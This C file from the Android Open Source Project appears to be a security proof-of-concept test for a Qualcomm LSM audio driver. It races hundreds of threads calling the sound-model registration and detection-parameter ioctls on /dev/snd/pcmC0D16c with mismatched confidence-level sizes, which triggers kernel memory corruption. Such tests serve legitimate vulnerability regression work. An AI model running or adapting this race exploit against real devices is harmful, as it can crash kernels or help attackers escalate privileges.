/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <time.h>

#define THREAD_NUM	600
#define DEV "/dev/snd/pcmC0D16c"

typedef _Bool bool;

enum lsm_app_id {
    LSM_VOICE_WAKEUP_APP_ID = 1,
    LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
};

enum lsm_detection_mode {
    LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
    LSM_MODE_USER_KEYWORD_DETECTION
};

enum lsm_vw_status {
    LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
    LSM_VOICE_WAKEUP_STATUS_DETECTED,
    LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
    LSM_VOICE_WAKEUP_STATUS_REJECTED
};

enum LSM_PARAM_TYPE {
    LSM_ENDPOINT_DETECT_THRESHOLD = 0,
    LSM_OPERATION_MODE,
    LSM_GAIN,
    LSM_MIN_CONFIDENCE_LEVELS,
    LSM_REG_SND_MODEL,
    LSM_DEREG_SND_MODEL,
    LSM_CUSTOM_PARAMS,
    LSM_PARAMS_MAX,
};

struct snd_lsm_ep_det_thres {
    __u32 epd_begin;
    __u32 epd_end;
};

struct snd_lsm_detect_mode {
    enum lsm_detection_mode mode;
    bool detect_failure;
};

struct snd_lsm_gain {
    __u16 gain;
};

struct snd_lsm_sound_model_v2 {
    __u8 __user *data;
    __u8 *confidence_level;
    __u32 data_size;
    enum lsm_detection_mode detection_mode;
    __u8 num_confidence_levels;
    bool detect_failure;
};

struct snd_lsm_session_data {
    enum lsm_app_id app_id;
};

struct snd_lsm_event_status {
    __u16 status;
    __u16 payload_size;
    __u8 payload[0];
};

struct snd_lsm_detection_params {
    __u8 *conf_level;
    enum lsm_detection_mode detect_mode;
    __u8 num_confidence_levels;
    bool detect_failure;
};

struct lsm_params_info {
    __u32 module_id;
    __u32 param_id;
    __u32 param_size;
    __u8 __user *param_data;
    enum LSM_PARAM_TYPE param_type;
};

struct snd_lsm_module_params {
    __u8 __user *params;
    __u32 num_params;
    __u32 data_size;
};

struct snd_lsm_output_format_cfg {
    __u8 format;
    __u8 packing;
    __u8 events;
    __u8 mode;
};

#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
#define SNDRV_LSM_EVENT_STATUS  _IOW('U', 0x02, struct snd_lsm_event_status)
#define SNDRV_LSM_ABORT_EVENT   _IOW('U', 0x03, int)
#define SNDRV_LSM_START     _IOW('U', 0x04, int)
#define SNDRV_LSM_STOP      _IOW('U', 0x05, int)
#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
                    struct snd_lsm_sound_model_v2)
#define SNDRV_LSM_LAB_CONTROL   _IOW('U', 0x08, uint32_t)
#define SNDRV_LSM_STOP_LAB  _IO('U', 0x09)
#define SNDRV_LSM_SET_PARAMS    _IOW('U', 0x0A, \
                    struct snd_lsm_detection_params)
#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
                    struct snd_lsm_module_params)

int fd;
pthread_t thread_id[THREAD_NUM+1] = { 0 };
int thread_ret[THREAD_NUM] = { 0 };
int attack = 0;

struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
unsigned char confidence_level_1[4] = "123";
unsigned char confidence_level_2[20] = "12345678";

static int set_affinity(int num)
{
    int ret = 0;
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(num, &mask);
    ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);

    return ret;
}

void* child_ioctl_0()
{
    set_affinity(1);
    snd_model_v2_1.data = snd_data;
    snd_model_v2_1.data_size = sizeof(snd_data);
    snd_model_v2_1.confidence_level = confidence_level_1;
    snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
    snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
    snd_model_v2_1.detect_failure = 1;

    while(1){
	ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
    }
}

void* child_ioctl_1()
{
    set_affinity(2);
    snd_model_v2_2.data = snd_data;
    snd_model_v2_2.data_size = sizeof(snd_data);
    snd_model_v2_2.confidence_level = confidence_level_2;
    snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
    snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
    snd_model_v2_2.detect_failure = 1;

    snd_params.num_confidence_levels = 20;
    snd_params.conf_level = confidence_level_2;
    snd_params.detect_failure = 1;
    snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;

    while(1){
	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
	ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
    }
}

int main()
{
    int i, ret;

    set_affinity(0);

    fd = open(DEV,O_RDWR);
    if(fd == -1){
	return -1;
    }

    ret = ioctl(fd, SNDRV_LSM_START, 0);
    if(ret)
	return -1;

    for(i = 0; i < 300; i = i + 2){
	thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
	thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
    }

    i = 0;
    attack = 1;
    while(100){
	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
    }
    attack = 0;
    return 0;
}